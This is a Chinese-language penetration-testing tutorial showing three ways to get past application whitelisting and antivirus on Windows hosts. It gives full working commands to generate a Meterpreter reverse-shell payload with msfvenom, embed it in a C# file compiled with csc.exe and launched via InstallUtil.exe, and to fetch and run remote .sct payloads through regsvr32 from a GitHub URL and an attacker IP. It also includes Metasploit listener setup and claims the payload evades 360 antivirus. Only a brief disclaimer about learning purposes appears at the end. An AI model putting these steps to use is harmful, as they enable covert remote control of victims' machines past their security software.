在内网渗透中,经常会在内网主机执行执行的渗透工具的时候出现执行不起来的情况,很多时候是由与安全软件做了白名单限制,只允许指定的白名单中的应用程序启动,这时我们就需要利用白名单中的程序做我们想做的事情,执行我们想要执行的程序,下面就给大家分享几个绕过白名单执行应用程序的姿势。
一、通过 csharp 编译文件绕过防病毒软件
1、下载 CSharp 文件
wget http://tinyurl.com/InstallUtil-ShellCode-cs
2、使用 msfvenom 生成一个 msf 的 csharp 格式的 shellcode:
msfvenom-p windows / meterpreter / reverse_tcp lhost = YOUR_IP lport = 443 -fcsharp> shellcode.txt
3、在 InstallUtil-ShellCode.cs
文件中,您将注意到代码中有两个功能
先从 main
函数的执行命令行中写入显示提示信息,当使用 InstallUtil.exe
工具运行程序时,将执行名为 Uninstall
函数(橙色框中的代码)的中代码的功能。
installUtil.exe
通常位于受信任的应用程序列表中,可能会绕过某些应用程序白名单软件。
Uninstall
函数中的代码将调用 Shellcode
函数,这是我们的嵌套恶意绕过防病毒的 shellcode
代码。
4、下面是需要替换的 shellcode 代码位置
5、在 geeeratewith metasploit
下面将 msf 生成的 shllcode.txt
的代码复制替换
6、需要修改其中的代码,将 buf 变量修改成 shellcode
并保存文件
7、使用 csc.exe 工具编译修改后的 InstallUtil-ShellCode-cs
文件
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:exeshell.exe InstallUtil-ShellCode.cs
8、在 msf 下生成监听 shell:
use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.0.86
set LPORT 444
set ExitOnSession false
run -j
9、在目标受害者机器上通过 InstallUtil.exe
工具执行我们编译的后门文件 exeshell.exe
:
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe/logfile= /LogToConsole=false /U exeshell.exe
10、在 kali 下可以看到成功获得目标主机的 shell:
此时通过 360 进行查杀未发现有病毒:
二、通过 sct 远程执行绕过防病毒
1、远程执行的 sct ( payload.sct
) 文件代码如下:
2、在目标受害者机器上远程执行:
这里前提需要将 pentestab.exe
文件上传到目标主机 C 盘下或者其他位置,其他位置需要更改 payload.sct
代码:
regsvr32/u /n /s /i: https://raw.githubusercontent.com/backlion/demo/master/payload.sct scrobj.dll
也可以本地执行:
regsvr32/u /n /s /i:payload.sct scrobj.dll
3、由于 pentestlab3
是 Metasploit 的有效载荷,所以 Meterpreter 会话将被打开:
三、msf 下生成模块生成 sct 绕过防病毒
1、在 msf 上生成 sct 监听反弹 shell
msf>useexploit/windows/misc/regsvr32_applocker_bypass_server
msf>show options
msf>setlhost 10.0.0.86
msf>set lport 6666
2、在目标受害者主机上执行以下命令:
regsvr32/s /n /u /i:http://10.0.0.86:8080/q0Nqdxa4iKkeNXB.sct scrobj.dll
3、在 msf 即可看到反弹 shell:
总结
这里的几种方式都是用来应对防病毒软件采用软件白名单的方式拒绝恶意软件的执行,通过一些默认放行的白名单系统应用程序启动我们构造好的恶意程序或者 payload 来绕过防病毒软件的白名单限制,这里只讨论技术的学习,请不要用来做违法的事情,欢迎大家投稿一起分享在渗透测试中应用的各种姿势,各种技术的安全原理等。